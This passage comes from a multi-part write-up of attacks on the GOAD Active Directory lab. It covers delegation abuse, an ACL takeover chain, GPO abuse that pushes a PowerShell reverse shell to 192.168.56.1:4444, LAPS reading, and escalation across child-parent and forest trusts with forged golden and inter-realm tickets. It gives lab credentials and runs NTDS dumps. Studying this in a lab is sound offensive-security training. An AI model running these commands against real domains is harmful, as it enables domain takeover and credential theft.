getST.py -impersonate "administrator" -spn "host/castelblack" -additional-ticket 'administrator@[email protected]' -dc-ip 192.168.56.11  north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
  • You could also do the 2 (s4u2self + s4u2proxy) in one command :
getST.py -spn 'host/castelblack' -impersonate Administrator -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_const$':'rbcdpass'
  • And launch the s4uProxy with the forwardable ticket
# s4u2proxy from constrained (castelblack) to target (winterfell) - with altservice to change the SPN in use
getST.py -impersonate "administrator" -spn "http/winterfell" -altservice "cifs/winterfell" -additional-ticket 'administrator@[email protected]' -dc-ip 192.168.56.11 -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'

export KRB5CCNAME=/workspace/administrator@[email protected] 
wmiexec.py -k -no-pass north.sevenkingdoms.local/administrator@winterfell
image
  • After the exploit a little clean up of the lab, flush the rbcd entry and delete the computer account with a domain admin:
rbcd.py -delegate-to 'castelblack$' -delegate-from 'rbcd_const$' -dc-ip 192.168.56.11 -action 'flush' -hashes ':b52ee55ea1b9fb81de8c4f0064fa9301' north.sevenkingdoms.local/'castelblack$'
addcomputer.py -computer-name 'rbcd_const$' -computer-pass 'rbcdpass' -dc-host 192.168.56.11 'north.sevenkingdoms.local/eddard.stark:FightP3aceAndHonor!' -delete

Resource Based Constrained Delegation

  • Resource Based Constrained delegation (RBCD)
  • You can abuse RBCD when you can edit the attribute : msDS-AllowedToActOnBehalfOfOtherIdentity
💡
A computer account can edit his own attribute msDS-AllowedToActOnBehalfOfOtherIdentity This is usefull when you do ldaps NTLM relay (like in the drop-the-mic attack path), you can then edit the computer attribute and launch an RBCD exploitation.
  • An example of exploitation is when you got genericAll or genericWrite ACL on a Computer.
  • You can find this in the lab when you look at the acl on users.
image
  • We can see that stannis.baratheon got a generic Write on kingslanding
  • The RBCD exploitation append with the following commands :
  • Create a computer X (rbcd$)
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Drag0nst0ne'
  • Add delegation write on our target from X (rbcd$)
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
  • Now X (rbcd$) got delegation permission on our target, you can now do an s4u2self query followed by an S4u2proxy.
  • This will result in an administrator permission on kingslanding.
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd$:rbcdpass'

export KRB5CCNAME=/workspace/rbcd/Administrator@[email protected]
wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local
image
  • After the exploit a little clean up of the lab, flush the rbcd entry and delete the computer account with a domain admin:
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'flush' sevenkingdoms.local/stannis.baratheon:Drag0nst0ne
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/cersei.lannister:il0vejaime' -delete

Resources - go further

Next time we will have fun with ACL.

GOAD part 11 — ACL

On the previous post we did some exploitation by abusing delegation. On this blog post, we will have fun with ACL in the lab.

In active directory, objects right are called Access Control Entries (ACE), a list of ACE is called Access Control List (ACL).

Lab ACL update

  • Before starting this chapter, we will update the users and acl in the labs:
  • sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml
    sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml
    sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml
    sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml
  • This will change a lot of relations in the lab, because when i initially created the acl i have set a lot of acl on the domain admins group. But the domain admin group is a protected group and those groups are protected by the admin SD protect mechanism.
  • So when the lab is build all acl are ok, but one hour later, all the acl related to protected groups and their users are deleted.
  • I also add some groups and a vulnerable gpo.
  • List of protected groups in the active directory : https://learn.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)?redirectedfrom=MSDN
By default on Active Directory protected groups are reset every hours with the ACL values stored on “CN=AdminSDHolder,CN=System,DC=yourdc”Protected groups and Associated users are affected
  • Account Operators
  • Administrator
  • Administrators
  • Backup Operators
  • Domain Admins
  • Domain Controllers
  • Enterprise Admins
  • Krbtgt
  • Print Operators
  • Read-only Domain Controllers
  • Replicator
  • Schema Admins
  • Server Operators
  • The new ACL overview in the lab is this one :
MATCH p=(u)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' and u.admincount=false and not tolower(u.name) contains 'key' RETURN p
image

sevenkingdoms.local ACL

To start we will focus on the sevenkingdoms killchain of ACL by starting with tywin.lannister (password: powerkingftw135)

  • The path here is :
    • Tywin -> Jaime : Change password user
    • Jaime -> Joffrey : Generic Write user
    • Joffrey -> Tyron : WriteDacl on user
    • Tyron -> small council : add member on group
    • Small council -> dragon stone : write owner group to group
    • dragonstone -> kingsguard : write owner to group
    • kingsguard -> stannis : Generic all on User
    • stannis -> kingslanding : Generic all on Computer
image
  • Let’s try to do all the path from tywin to kingslanding domain controler :)
⚠️
Reminder : Abusing ACL make change on the targets. Be sure to you know what you are doing if you try to exploit it during an audit.

ForceChangePassword on User (Tywin -> Jaime)

  • This one should never be done in a pentest (unless the customer is ok with that). You don’t want to block a user during your audit.
  • As tywin.lannister we will change jaime.lannister password
image
net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local
  • We set the new jaime password.
  • And verify the password is ok.
cme smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p pasdebraspasdechocolat
image

GenericWrite on User (Jaime -> Joffrey)

  • As we just set up jaime password we will now exploit the GenericWrite from Jaime to Joffrey
image
  • This could be abuse with 3 different technics :
    • shadowCredentials (windows server 2016 or +)
    • targetKerberoasting (password should be weak enough to be cracked)
    • logonScript (this need a user connection and to be honest it never worked or unless with a script already inside sysvol)

Target Kerberoasting

  • First let’s do a target Kerberoasting, the principe is simple. Add an SPN to the user, ask for a tgs, remove the SPN on the user.
  • And now we can crack the TGS just like a classic kerberoasting.
  • Shutdown have done a tool which do all the work for you : https://github.com/ShutdownRepo/targetedKerberoast
targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon
image
  • And now just crack the hash
hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force
image

Shadow Credentials

This was already done previously in this blog, one of the fastest exploitation is with certipy:

certipy shadow auto -u [email protected] -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'
image

Logon script

  • To show the scriptpath ldap value instead of ldapsearch we can use the tool ldeep
ldeep ldap -u jaime.lannister -p 'pasdebraspasdechocolat' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath
image
  • We can change this value with the following script:
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'scriptpath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share\exploit.bat')]})
print(ldap_con.result)
ldap_con.unbind()
image
  • but sadly this won’t work… :’( (if you know why please let me know, this seems to work only if the script is already located in sysvol)
  • Another way to abuse the GenericWrite is by changing the profilePath and wait for a connection to get a NetNtlmv2 authentication and relay to another computer or crack it.
  • Change the value of profilePath with the following script :
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "pasdebraspasdechocolat"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.1\share')]})
print(ldap_con.result)
ldap_con.unbind()
  • Start responder and simulate joffrey connection by starting an RDP connection
responder -I vboxnet0
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80%  /cert-ignore
  • And we get the NetNLMV2 hash of joffrey.baratheon and… kingslanding$ !
image

WriteDacl on User (Joffrey -> Tyron)

image
  • To exploit writeDacl from Joffrey to Tyron we can use acledit.py
  • First we will clone the impacket’s fork created by shutdown (@_nwodtuhs) to get the last PR with dacledit
git clone https://github.com/ThePorgs/impacket.git
cd impacket 
python3 setup.py install
  • Now we can use dacledit.py
  • First let’s look at joffrey’s right on tyron :
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
image
  • Ok now change the permission to “FullControl” and see the modification
dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon  -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
image
  • Ok now we can :
    • change tyron password
    • do a target kerberoasting
    • do a shadow credentials
  • Let’s just use shadowcredentials :
certipy shadow auto -u [email protected] -p '1killerlion' -account 'tyron.lannister'
image

Add self on Group (Tyron -> Small Council)

  • We now got tyron so we can add us into the small council group
image
  • First find the distinguished name
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName
  • Add tyron to Small Council
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
  • See the result
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'
image

AddMember on Group (Small Council -> dragonstone)

  • Now as tyron we are in the small council, so we can add a member to dragonstone’s group.
  • So we just add tyron just like we did before
image
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"

WriteOwner on Group (dragonstone -> kingsguard)

  • Now with the writeOwner privilege we can change the owner of kingsguard to own the group
image
  • Just like before we will use the impacket fork
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister
image
  • And the owner of kingsguard group is now tyron.lannister
  • As owner of the group we can now change the acl and give us GenericAll on the group
dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister  -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'
  • With GenericAll now we can add tyron to the kingsguard group
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
image

Generic all on user (kingsguard -> stannis)

  • Now tyron is in kingsguard so we can take the control of stannis with the genericAll on stannis
image
  • let’s change stannis password with ldeep
net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
  • We will set the password Drag0nst0ne (i know it is the same as before but i didn’t want to change the screenshots in the next part :p )

GenericAll on Computer (Stannis -> kingslanding)

  • Now we own stannis, let’s finish the domain with the generic Write on the DC
image
  • We already done that on the previous chapter. One way to abuse of this permission is by using Resource Based Constrained Delegation (Goad pwning part10)
  • But what if you can’t add a computer in the domain (more and more customers disable the ability for a simple user to add computer to the domains and this is a good practice from a security point of view), you can do a shadow credentials attack on the computer.
  • So if ADCS is enabled on the domain, and we got write privilege on msDS-KeyCredentialLink, we can do the shadow credentials attack to get a direct access on the target account. (just like what we did in Goad pwning part5)
  • Shadow credentials is now include with certipy (this attack can also be done with pywisker )
certipy shadow auto -u [email protected] -p 'Drag0nst0ne' -account 'kingslanding$'
image
  • Now we got the tgt and the NT hash of kingslanding$
  • Obviously we can do a dcsync because kingslanding is a DC, but instead let’s try to directly get a shell
  • To do that the easiest way is using s4u2self abuse or create a silver ticket

machine account to administrator shell

s4u2self abuse

  • s4u2self abuse : we ask for a TGS as the Administrator domain user
export KRB5CCNAME=/workspace/acl/kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'
  • And than we use that ticket to connect as administrator
export KRB5CCNAME=/workspace/acl/Administrator@[email protected]
wmiexec.py -k -no-pass sevenkingdoms.local/[email protected]
image

Silver ticket

  • Another way to get a shell is by creating a silver ticket :
  • Find the domain SID:
lookupsid.py -hashes ':33a43e326dad53a516dc06393281d2cc' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
image
  • Create the silver ticket:
ticketer.py -nthash '33a43e326dad53a516dc06393281d2cc' -domain-sid 'S-1-5-21-1409754491-4246775990-3914137275' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
  • And use it :
export KRB5CCNAME=/workspace/acl/Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/[email protected]
image

Ok the fun with sevenkingdoms.local domain is over, now let’s try some acl in the other domains.

GPO abuse

  • There is a GPO abuse on the north domain
image
  • To abuse GPO we will use the project created by Hackndo : pyGPOAbuse
  • The github readme file say : “It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.”
git clone https://github.com/Hackndo/pyGPOAbuse.git
python3 -m virtualenv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
  • We get the id from bloodhound and launch the exploit with :
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4"
image
  • If we take a look in the windows GUI we will see the schedule task created :
image
  • If we wait few minutes or if we run a gpudate /force we will see the new local admin user
image
  • Now let’s try to get a powershell reverseshell
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "6F8BD644-2C29-418C-93F1-FE926F91F6B4" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" -taskname "MyTask" -description "don't worry"
  • And a few moments later we get the powershell reverseshell
image
⚠️
pyGPOAbuse is changing the GPO without going back ! Do not use in production or at your own risk and do not forget to cleanup after
  • Cleanup
image

Read Laps password

image
  • To read LAPS password, the easy way is with the cme module
cme ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps
image
  • Works like a charm :)

Resources:

Next time, this will be the last blog post of the GOAD writeup series. And it will be on Trusts exploitation.

GOAD part 12 — Trusts

On the previous post we tried some attacks path with ACL. This post will be on escalation with domain trust (from child to parent domain) and on Forest to Forest trust lateral move.

The forest trust exploitation as already been very well covered by harmjOy on this link, i recommend you to read :)

Goad upgrade

  • To simplify the trust exploitation in the lab i have done some small changes.
  • A new group DragonRider on sevenkingdoms.local
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-data.yml -l dc01
  • Change groupe AcrossTheNarrowSea acl to add genericAll on dc01 (kingslanding)
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-acl.yml -l dc01
  • Add builtin administrator user member on dc01 for dragonRider
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook ad-relations.yml -l dc01
  • Add sidhistory on the sevenkingdoms trust link to essos by default
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook vulnerabilities.yml -l dc01

The last one is to allow sid history and it is just like this command :

image

Enumerate Trust

  • Let’s enumerate the trusts:
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.10 trusts
ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap://192.168.56.12 trusts
image
  • The sevenkingdoms to essos trust link is FOREST_TRANSITIVE | TREAT_AS_EXTERNAL due to Sid history enabled
  • The essos to sevenkingdoms trust link is just FOREST_TRANSITIVE
  • The corresponding ldap query is : (objectCategory=trustedDomain)
  • We can observe this with bloodhound too (button map domain trusts)

MATCH p=(n:Domain)-->(m:Domain) RETURN p

image
  • We can see
    • A domain bi-directional trust between north.sevenkingdoms.local and sevenkingdoms.local (Child / parent relation)
    • A forest bi-directional trust between essos.local and sevenkingdoms.local

Domain Trust - child/parent (north.sevenkingdoms.local -> sevenkingdoms.local)

  • Ok now imagine you have pwn the domain north.sevenkingdoms.local you have dump the ntds and you got all the NT hash of all the north domain users.
image
As said by Microsoft the domain trust is not a security boundary

RaiseMeUp - Escalate with impacket raiseChild

  • To escalate from child to parent the simplest way is with impacket raiseChild.py script, this will do all the work for us.
raiseChild.py north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'
image
  • This create a golden ticket for the forest enterprise admin.
  • Log into the forest and get the target info (default administrator RID: 500)
  • All the job is done with one command, if you are lazy you don’t even need to understand x)

Golden ticket + ExtraSid

  • We have done the exploitation on one command with impacket raiseChild.py, now let’s just do the same but step by step and create the golden ticket.
  • Full explanation on the attack can be found here : https://adsecurity.org/?p=1640
  • First dump the krbtgt of the domain we own
# dump child ntds and get krbtgt NT hash
secretsdump -just-dc-user north/krbtgt \ 
 north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11

...
krbtgt:502:aa3b435b51404eeaad3b435b51404ee:13354bc6e1b48fff8d66a2090e909b27:::
..
image
  • Now get the child and parent domain SID
# dump child domain SID 
lookupsid.py  -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0

[*] Domain SID is: S-1-5-21-638448100-4005671799-261795860

# dump parent domain SID 
lookupsid.py  -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0

[*] Domain SID is: S-1-5-21-1409754491-4246775990-3914137275
ticketer.py -nthash 13354bc6e1b48fff8d66a2090e909b27 \
 -domain-sid S-1-5-21-638448100-4005671799-261795860 \
 -domain north.sevenkingdoms.local \
 -extra-sid S-1-5-21-1409754491-4246775990-3914137275-519 \
 goldenuser
  • And we use the ticket to dump the parent domain NTDS
secretsdump -k -no-pass -just-dc-ntlm \
 north.sevenkingdoms.local/[email protected]
image

Trust ticket - forge inter-realm TGT

  • Another way to escalate from child to parent is by extracting the trust key and use it to create our trust ticket (a very good explanation and examples with Mimikatz can be found here : https://adsecurity.org/?p=1588)
  • The trust key can be found by targeting the netbios name of the domain on the ntds
secretsdump -just-dc-user 'SEVENKINGDOMS$' \
 north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
image
  • Now we got the trust key we can forge the ticket just like we done with the krbtgt user hash but this time we will set the spn : krbtgt/parent_domain
ticketer.py -nthash cef54bd576fc6054870d8d8cea5c069c \
 -domain-sid S-1-5-21-638448100-4005671799-261795860 \
 -domain north.sevenkingdoms.local \
 -extra-sid S-1-5-21-1409754491-4246775990-3914137275-519 \
 -spn krbtgt/sevenkingdoms.local trustfakeuser
image
  • Now we will use the forged TGT to ask a ST on the parent domain
export KRB5CCNAME=/workspace/trusts/trustfakeuser.ccache   
getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local \
 sevenkingdoms.local/[email protected] -debug
image
  • And now we can use our service ticket :)
  • connect with smbclient
export KRB5CCNAME=/workspace/trusts/[email protected]@[email protected]
smbclient.py -k -no-pass [email protected]
image
  • or even dump secrets
secretsdump -k -no-pass -just-dc-ntlm [email protected]
image
This technique is even working if krbtgt password as been changed 2 times !

Unconstrained delegation

  • As winterfell is a domain controler, by default it is configured with unconstrained delegation.
  • This attack from child to parent domain with Unconstrained delegation has been done in part 10 (delegations).
  • The principe is simple, coerce the parent dc to an unconstrained delegation server and extract the tgt.

Forest Trust (sevenkingdoms.local -> essos.local)

  • We have done Child to parent domain, in the next part we will try to exploit forest to forest.
image

Password reuse

  • On a real environment this is really accurate. Dump the ntds of the domain you own and try to find the same users on the external forest domains.
  • The lab didn’t have this behavior but it is really simple to exploit.

Foreign group and users

  • On bloodhound we can see very easily that there is link between the domains with the following query (Careful this query is fine in a lab but this will certainly be a little too heavy in a real world AD)
MATCH p = (a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain) where (x:Container or x:OU) and (y:Container or y:OU) and (a.name <>b.name) and (tolower(w.samaccountname) <> "enterprise admins" and tolower(w.samaccountname) <> "enterprise key admins" and tolower(z.samaccountname) <> "enterprise admins" and tolower(z.samaccountname) <> "enterprise key admins")  RETURN p
image
  • On the GOAD lab you will find some specifics groups to pass from one domain to the other.
💡
Note that bloodhound also have buttons to research foreign groups and users directly in the interface.
  • As you already have done the acl part previously you will easily find the way to exploit that. (shadow credentials/target kerberoasting/change password/…), but since it is cross domain we will do the first :)
  • Sevenkingdoms to essos : group spys
image
  • To do that just pick a user from the small council (by example petyer.baelish:@littlefinger@) and exploit with the spy group
net rpc password jorah.mormont -U sevenkingdoms.local/petyer.baelish%@littlefinger@ -S meereen.essos.local
Enter new password for jorah.mormont: <here we enter P@ssword123>
  • And verify
cme smb 192.168.56.12 -u jorah.mormont -p 'P@ssword123' -d essos.local
image
  • We can also to that with shadow credentials (but the auto will not work here, we will have to do that with two steps)
certipy shadow add -u [email protected] -p '@littlefinger@' \
 -dc-ip 192.168.56.12 -target meereen.essos.local -account 'jorah.mormont'
certipy auth -pfx jorah.mormont.pfx -username jorah.mormont -domain essos.local -dc-ip 192.168.56.12
image
  • Essos to sevenkingdoms : group accros_thenarrowsea

In the same way we can exploit the essos to sevenkingdoms foreign group

image
Please not that the active directory groups are not all the same. There is 3 types of security groups: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups
  • Universal
  • Global
  • Domain Local

If a group contains members of a trusted domain, it have to be of type Domain Local.

Groups scope informations are well explained by harmj0y here

Use unconstrained delegation

  • From kingslanding we can rule the essos domain with unconstrained delegation
  • We connect to kingslanding with rdp as an administrator
xfreerdp /d:sevenkingdoms.local /u:cersei.lannister /p:'il0vejaime' /v:192.168.56.10 /size:80%  /cert-ignore
  • For more simplicity we will disable defender
  • Now we launch rubeus.exe to wait for a TGT of the essos forest.
.\Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1
  • And we run petitpotam on our linux console to force a coerce of meereen to kingslanding.
petitpotam.py -u arya.stark -p Needle -d north.sevenkingdoms.local kingslanding.sevenkingdoms.local meereen.essos.local
  • And we get the TGT of meereen !
image
  • Now we can copy it to linux (delete space and \n)
  • Decode the base64 and save it to a kirbi file
base64 -d rubeus.b64 > meereen.kirbi
  • Convert it to ccache and use it to dcsync essos.local
ticketConverter.py meereen.kirbi meereen.ccache 
export KRB5CCNAME=/workspace/trusts/unconstrained/meereen.ccache
secretsdump -k -no-pass -just-dc-ntlm essos.local/'MEEREEN$'@meereen.essos.local
image

Mssql Trusted link

  • The MSSQL trust link is across forest, so it can be used to make forest to forest exploitation.
  • Example was done in part 7 but let’s redo this for fun :
  • Connect to the mssql DB as jon.snow
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:[email protected]
  • enumerate the mssql trusted links
enum_links
image
  • And now use the link from castelblack (north domain) to braavos (essos domain)
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
  • Because the link use sa as remote login on braavos we can enable cmd and launch command.
image

Golden ticket with external forest, sid history ftw ( essos -> sevenkingdoms)

This attack can be done only because SID history is enabled on the sevenkingdoms->essos trust
  • Find the domain sid with lookupsid.py
    • essos SID : S-1-5-21-2203133648-1386395927-1390703624
    • sevenkingdoms SID: S-1-5-21-1409754491-4246775990-3914137275
  • Like before extract the krbtgt hash
secretsdump -just-dc-user 'essos/krbtgt' essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e58cf01ba6cc645da9f7ab1f28fc3934:::
...
💡
About sid filtering dirkjanm say on his blog : “What this does mean for an attacker is that you can spoof any RID >1000 group if SID history is enabled across a Forest trust!”
  • The group dragonrider is a perfect match (on a real audit exchange groups are usualy a good target)
image
  • Create the golden ticket for a fake user
ticketer.py -nthash e58cf01ba6cc645da9f7ab1f28fc3934 \
-domain-sid S-1-5-21-2203133648-1386395927-1390703624 \
-domain essos.local \
-extra-sid S-1-5-21-1409754491-4246775990-3914137275-1132 \
dragon
  • And use it (secretsdump will work too)
export KRB5CCNAME=/workspace/trusts/external/dragon.ccache
smbexec.py -k -no-pass [email protected] -debug
image

Trust ticket with external forest ( essos -> sevenkingdoms)

  • Excatly like we done before on domain forest we can do this on external forest but just like with the golden ticket we need the sid history enabled to exploit.
  • Find the domain sid with lookupsid.py
    • essos SID : S-1-5-21-2203133648-1386395927-1390703624
    • sevenkingdoms SID: S-1-5-21-1409754491-4246775990-3914137275
secretsdump -just-dc-user 'SEVENKINGDOMS$' essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:285b80ddc1ad529f27403804e75a9ab1:::
...
  • Create the inter-realm tgt ticket
ticketer.py -nthash 285b80ddc1ad529f27403804e75a9ab1 \
 -domain-sid S-1-5-21-2203133648-1386395927-1390703624 \
 -domain essos.local \
 -extra-sid S-1-5-21-1409754491-4246775990-3914137275-1132 \
 -spn krbtgt/sevenkingdoms.local trustdragon
image
  • Ask a service ticket for kingslanding cifs
export KRB5CCNAME=/workspace/trusts/external/trustdragon.ccache
getST.py -k -no-pass -spn cifs/kingslanding.sevenkingdoms.local \
 sevenkingdoms.local/[email protected] -debug
image
  • And enjoy (secretsdump will work too)
export KRB5CCNAME=/workspace/trusts/external/[email protected]
smbexec.py -k -no-pass [email protected] -debug
image

Exploit acl with external trust golden ticket

  • Ok now imagine we want to exploit this acl from essos:
image
By now i didn’t found a nice way to do this from linux, but from windows it is pretty easy
  • Connect as administrator on meereen, disable the antivrius to be able to use mimikatz and powerview
  • Create the golden ticket with mimikatz matching the group kingsguard (RID 1130)
mimikatz # kerberos::golden /user:guard /domain:essos.local /sid:S-1-5-21-2203133648-1386395927-1390703624 /krbtgt:e58cf01ba6cc645da9f7ab1f28fc3934 /sids:S-1-5-21-1409754491-4246775990-3914137275-1130 /ptt
image
image
  • And now use powerview to change stannis password
Import-Module .\powerview.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity stannis.baratheon -AccountPassword $SecPassword -Domain sevenkingdoms.local
image
  • And it work !
image
  • And if we look at the created tickets with klist:
    • Server: krbtgt/essos.local @ essos.local (golden ticket)
    • Server: krbtgt/SEVENKINGDOMS.LOCAL @ ESSOS.LOCAL (kdc: meereen) (tgt inter realm)
    • Server: ldap/kingslanding.sevenkingdoms.local @ SEVENKINGDOMS.LOCAL (kdc: kingslanding)
    • Server: ldap/kingslanding.sevenkingdoms.local/sevenkingdoms.local @ SEVENKINGDOMS.LOCAL (kdc: kingslanding)

The end - Winter is coming

  • The GOAD’s writeups series end with this part. If you read all you are very brave and i hope you enjoyed it despite my terrible english ^^
  • I also hope you gived a try to the lab and all is working fine on your computer.
  • For the next year i have other evolution of the lab, blog post ideas and projects in mind, you will see it on twitter (@M4yFly) when something new will come.
  • Again thank you to all the security researchers and opensource contributors for all the work and share they do !

Resources